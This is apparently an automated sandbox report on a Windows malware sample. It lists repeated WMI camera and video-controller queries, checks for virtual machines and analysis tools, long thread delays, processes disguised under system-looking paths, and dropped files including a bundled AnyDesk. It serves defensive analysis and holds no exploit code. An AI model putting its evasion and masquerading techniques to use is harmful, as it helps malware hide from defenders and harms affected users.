Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ORIGINALFILENAMEPROCESSHACKER.EXE>

Source: C:\MsComponentSvc\hyperServer.exe	Memory allocated: 940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Memory allocated: 1A610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Memory allocated: 1180000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Memory allocated: 1AC40000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Memory allocated: 1690000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Memory allocated: 1B330000 memory reserve \| memory write watch
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Memory allocated: 30A0000 memory reserve \| memory write watch
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Memory allocated: 1B310000 memory reserve \| memory write watch
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Memory allocated: D00000 memory reserve \| memory write watch
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Memory allocated: 1A740000 memory reserve \| memory write watch
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Memory allocated: 1520000 memory reserve \| memory write watch
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Memory allocated: 1B450000 memory reserve \| memory write watch

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Code function: 36_2_00007FFD9BB0D9D0 sgdt fword ptr [eax]

36_2_00007FFD9BB0D9D0

Source: C:\MsComponentSvc\hyperServer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 600000
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 599873
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 599748
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598985
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598625
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598454
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 598297
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597938
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597657
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597391
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 597047
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 594438
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593922
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593641
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593360
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 593125
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592860
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592641
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592313
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 592047
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 591641
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 591469
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 591047
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 590704
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 590360
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 590086
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 589873
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 589657
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 589188
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 588829
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 588485
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 588266
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 587954
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 587579
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 587297
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 586797
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 586485
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 586079
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 585594
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 585313
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 584934
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 584391
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 584141
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583879
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583547
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583387
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583254
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583125
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 583014
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582907
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582791
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582686
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582578
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582467
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582339
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582222
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582094

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Window / User API: threadDelayed 8025
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Window / User API: threadDelayed 1539

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YwplZyzq.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VScUyJWO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\AnyDesk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mAXRREOc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lDwJvEzh.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ClnXUwDc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_ssl.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xgSpWhiF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TilmxzEN.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EMzXkajr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HZFVxtTQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qZHqJfVT.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XemDEfuG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_webp.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SqUEbieS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73402\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rnpQtBdQ.log	Jump to dropped file
